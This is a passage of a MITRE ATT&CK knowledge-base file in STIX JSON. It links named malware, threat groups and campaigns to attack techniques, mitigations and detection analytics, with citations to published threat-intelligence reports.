2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0267872d-3408-409e-8ad8-d39b85ce6a99","created":"2024-07-10T20:01:17.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T18:42:40.646Z","description":"[FRP](https://attack.mitre.org/software/S1144) can communicate over TCP, TCP stream multiplexing, KERN Communications Protocol (KCP), QUIC, and UDP.(Citation: FRP GitHub)","relationship_type":"uses","source_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--026a63ae-dd3d-4ea6-8a32-c40c9b37b893","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-17T02:54:39.798Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) shellcode decrypts and decompresses its RC4-encrypted payload.(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--026d4fb6-4683-4e64-a69c-82e39dd11b23","type":"relationship","created":"2021-03-02T18:16:41.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-02T18:16:41.008Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has decoded files received from a C2.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--026e7bb0-2037-4bfc-b9ae-98e70530f22a","type":"relationship","created":"2020-02-10T20:43:10.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-20T19:23:37.993Z","description":"Use file system access controls to protect folders such as C:\\Windows\\System32.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0277787b-6419-4371-aa5d-77b2d0cc025f","created":"2022-08-18T15:44:40.846Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-18T15:44:40.846Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02804eca-a840-4ffe-8abd-60705d3456e4","type":"relationship","created":"2020-11-25T22:46:47.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:47.604Z","description":"In 2017, [Sandworm Team](https://attack.mitre.org/groups/G0034) conducted technical research related to vulnerabilities associated with websites used by the Korean Sport and Olympic Committee, a Korean power company, and a Korean airport.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02838a73-1e42-4fda-a27b-044d14f303d9","created":"2022-10-13T20:13:21.262Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T20:13:21.262Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), attackers created email addresses to register for a free account for a control server used for the implants.(Citation: McAfee Honeybee) ","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--02916665-5ab0-4015-9cd1-382550129011","created":"2022-03-30T14:26:51.873Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for anomalous file transfer activity between accounts and/or to untrusted/unexpected VPCs.","modified":"2022-04-14T15:42:50.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02929ced-4073-4d42-a29b-6aefe93a7a9a","created":"2022-10-18T23:10:19.738Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:10:19.738Z","description":"Monitor for changes made to scheduled jobs that may attempt to remove artifacts on a host system.","relationship_type":"detects","source_ref":"x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--029a477b-fa90-4941-a577-1af6900d1b56","type":"relationship","created":"2020-03-09T15:42:45.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T17:53:50.853Z","description":"Use network appliances and host-based security software to block network traffic that is not necessary within the environment, such as legacy protocols that may be leveraged for AiTM conditions.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--029a75f4-62a8-4c9e-bdf2-ea2d8aed8900","type":"relationship","created":"2020-08-26T15:20:09.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-09-18T20:55:03.300Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) can use the WebSocket protocol and has initiated communication with C2 servers with an HTTP Upgrade request.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--029bdc73-5054-45eb-b9d0-e4281f69d85a","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Cobalt Group Nov 2017","description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"},{"source_name":"RiskIQ Cobalt Nov 2017","description":"Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.","url":"https://web.archive.org/web/20190508170630/https://www.riskiq.com/blog/labs/cobalt-strike/"},{"source_name":"Group IB Cobalt Aug 2017","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","url":"https://www.group-ib.com/blog/cobalt"},{"source_name":"Proofpoint Cobalt June 2017","description":"Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target"},{"source_name":"PTSecurity Cobalt Dec 2016","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"},{"source_name":"PTSecurity Cobalt Group Aug 2017","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"},{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"source_name":"Unit 42 Cobalt Gang Oct 2018","description":"Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:06:11.744Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--029ee791-c82b-43b4-8107-e3c0dfcfe3f4","created":"2023-03-31T17:36:12.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T21:23:34.074Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) created VBScripts to run on an SSH server.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--029f82d6-72d9-43ac-a480-ae5169d20135","created":"2024-08-08T20:20:50.318Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-08T20:20:50.318Z","description":"[ZeroCleare](https://attack.mitre.org/software/S1151) can use the `IOCTL_DISK_GET_DRIVE_GEOMETRY_EX`, `IOCTL_DISK_GET_DRIVE_GEOMETRY`, and `IOCTL_DISK_GET_LENGTH_INFO` system calls to compute disk size.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02a05d88-504c-4b79-bc55-1174b02e62c2","created":"2022-09-27T16:42:11.965Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:42:11.965Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used ProcDump to dump credentials from memory.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02a18600-0baa-49e0-91cb-b4e54f43f84e","created":"2022-07-18T23:01:45.690Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T15:43:42.407Z","description":"Monitor for logon sessions for user accounts and devices that did not require MFA for authentication.\n\nAnalytic 1 - Successful logons without MFA.\n\nindex=security sourcetype=\"azure:eventhub\" OR sourcetype=\"o365:management:activity\" OR sourcetype=\"gsuite:reports:admin\" OR sourcetype=\"linux_secure\" OR sourcetype=\"WinEventLog:Security\" \n(EventID=\"4624\" OR EventID=\"4648\" OR EventID=\"AuthenticationSuccess\" OR EventCode IN (\"4104\", \"552\", \"1200\") OR EventName=\"UserLoggedIn\" OR action=\"login_success\")\n| eval MFA_used = case(\n isnotnull('AdditionalProperties.MFARequired') AND AdditionalProperties.MFARequired=\"true\", \"MFA\",\n isnotnull('AdditionalProperties.MFAStatus') AND AdditionalProperties.MFAStatus=\"success\", \"MFA\",\n isnotnull('AdditionalProperties.MFA') AND AdditionalProperties.MFA=\"success\", \"MFA\",\n isnotnull('AuthenticationMethod') AND AuthenticationMethod IN (\"MFA\", \"TOTP\", \"U2F\", \"Push Notification\"), \"MFA\",\n isnotnull('MultiFactorUsed') AND MultiFactorUsed=\"Yes\", \"MFA\",\n 1==1, \"No MFA\"\n)\n| search MFA_used=\"No MFA\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02a1aa09-4505-4b05-a84c-61fae4f4d39d","created":"2022-06-01T16:40:44.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:10:01.151Z","description":"Monitor for newly constructed registry keys upon creation of new task. Deletion of values/keys in the registry may further indicate malicious activity.\n\nAnalytic 1 - Suspicious Creations under Schedule Registry Key\n\n((source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"12\") OR (sourcetype=WinEventLog:Security EventCode=4657) | search (registry_path=\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tree\\\\*\" OR registry_path=\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tasks\\\\*\")\n\n","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--02a1f8ce-390e-46e4-b945-9cd61c593f9f","created":"2022-08-22T13:37:15.762Z","x_mitre_version":"0.1","external_references":[{"source_name":"Symantec Bumblebee June 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022."},{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."},{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) can enumerate the OS version and domain on a targeted system.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)","modified":"2022-08-25T14:10:36.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02a353b7-7b15-4068-82eb-7385c1684021","created":"2020-12-29T16:20:58.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:55:17.666Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) collects the IP address of a compromised system.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02a35538-7a82-4b30-94ac-e943c19acfe4","type":"relationship","created":"2019-05-14T15:26:39.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:37.012Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) has used several anti-emulation techniques to prevent automated analysis by emulators or sandboxes.(Citation: Kaspersky StoneDrill 2017)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02a629d3-b970-43e8-a11b-79f35107a4c0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto DNS Requests","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"modified":"2020-03-17T02:10:14.637Z","description":"[Pisloader](https://attack.mitre.org/software/S0124) establishes persistence via a Registry Run key.(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02a7cdce-3386-4a5f-a9c4-a8ab2d3a9091","type":"relationship","created":"2019-06-25T14:35:53.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Bloodhound","url":"https://github.com/BloodHoundAD/BloodHound","description":"Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019."}],"modified":"2021-01-11T19:48:37.966Z","description":"Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as [BloodHound](https://attack.mitre.org/software/S0521) (version 1.5.1 and later)(Citation: GitHub Bloodhound).","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02a7ea5c-695c-4932-9160-6e0441789670","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Seaduke 2015","description":"Symantec Security Response. (2015, July 13). “Forkmeiamfamous”: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.","url":"http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"}],"modified":"2020-03-17T02:32:26.710Z","description":"Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to use pass the ticket with Kerberos for authentication.(Citation: Symantec Seaduke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--02a8db04-60e6-437c-8f1a-12aff6a13c63","created":"2022-04-06T20:05:01.789Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has been distributed via spearphishing emails with malicious attachments.(Citation: MalwareBytes LazyScripter Feb 